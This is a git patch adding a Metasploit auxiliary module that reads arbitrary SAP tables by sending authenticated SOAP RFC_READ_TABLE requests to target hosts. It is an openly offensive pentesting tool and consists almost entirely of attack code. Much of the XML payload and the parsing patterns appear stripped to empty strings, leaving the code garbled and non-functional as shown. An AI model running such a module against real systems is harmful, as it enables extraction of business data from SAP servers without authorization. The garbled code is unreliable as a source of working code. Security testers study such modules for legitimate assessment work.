From e053c4a0ad14e3de73cd55ffd39c2c385506c4eb Mon Sep 17 00:00:00 2001 From: nmonkee Date: Wed, 7 Nov 2012 12:37:01 +0000 Subject: [PATCH] This module makes use of the RFC_READ_TABLE Remote Function Call (via SOAP) to read data from tables. --- .../scanner/sap/sap_soap_rfc_read_table.rb | 137 ++++++++++++++++++ 1 file changed, 137 insertions(+) create mode 100755 modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb new file mode 100755 index 0000000000..7bd00a0cfc --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb @@ -0,0 +1,137 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +## +# This module is based on, inspired by, or is a port of a plugin available in +# the Onapsis Bizploit Opensource ERP Penetration Testing framework - +# http://www.onapsis.com/research-free-solutions.php. +# Mariano Nuñez (the author of the Bizploit framework) helped me in my efforts +# in producing the Metasploit modules and was happy to share his knowledge and +# experience - a very cool guy. I'd also like to thank Chris John Riley, +# Ian de Villiers and Joris van de Vis who have Beta tested the modules and +# provided excellent feedback. Some people just seem to enjoy hacking SAP :) +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SAP RFC RFC_READ_TABLE', + 'Version' => '$Revision: $0.1', + 'Description' => %q{ + This module makes use of the RFC_READ_TABLE Remote Function Call (via SOAP) to read data from tables. + }, + 'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com' ]], + 'Author' => [ 'Agnivesh Sathasivam', 'nmonkee' ], + 'License' => BSD_LICENSE + ) + + register_options( + [ + OptString.new('CLIENT', [true, 'Client', nil]), + OptString.new('USERNAME', [true, 'Username', nil]), + OptString.new('PASSWORD', [true, 'Password', nil]), + OptString.new('TABLE', [true, 'Table to read', nil]), + OptString.new('FIELDS', [true, 'Fields to read', '*']), + ], self.class) + end + + def run_host(ip) + columns = [] + columns.push ('*') if datastore['FIELDS'].nil? + if datastore['FIELDS'] + columns.push (datastore['FIELDS']) if datastore['FIELDS'] =~ /^\w?/ + columns = datastore['FIELDS'].split(',') if datastore['FIELDS'] =~ /\w*,\w*/ + end + fields = '' + columns.each do |d| + fields << "" + d.gsub(/\s+/, "") + "" + end + exec(ip,fields) + end + + def exec(ip,fields) + data = '' + data << '' + data << '' + data << '' + data << '|' + data << '' + data << '' + datastore['TABLE'] + '' + data << '' + data << '' + fields + '' + data << '' + data << '' + data << '' + data << '' + user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD']) + print_status("[SAP] #{ip}:#{rport} - sending SOAP RFC_READ_TABLE request") + begin + error = '' + success = '' + res = send_request_raw({ + 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', + 'method' => 'POST', + 'data' => data, + 'headers' =>{ + 'Content-Length' => data.size.to_s, + 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', + 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], + 'Authorization' => 'Basic ' + user_pass, + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }, 45) + if (res and res.code != 500 and res.code != 200) + # to do - implement error handlers for each status code, 404, 301, etc. + if res.body =~ /

Logon failed<\/h1>/ + print_error("[SAP] #{ip}:#{rport} - login failed!") + else + print_error("[SAP] #{ip}:#{rport} - something went wrong!") + end + return + elsif res.body =~ /Exception/ + response = res.body + error = response.scan(%r{(.*?)}) + success = false + return + else + response = res.body + success = true + end + if success == true + output = response.scan(%r{([^<]+)}).flatten + print_status("[SAP] #{ip}:#{rport} - got response") + saptbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "[SAP] RFC_READ_TABLE", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => ["Returned Data"], + ) + for i in 0..output.length-1 + saptbl << [output[i]] + end + print(saptbl.to_s) + end + if success == false + for i in 0..error.length-1 + print_error("[SAP] #{ip}:#{rport} - error #{error[i]}") + end + end + rescue ::Rex::ConnectionError + print_error("[SAP] #{ip}:#{rport} - Unable to connect") + return + end + end + end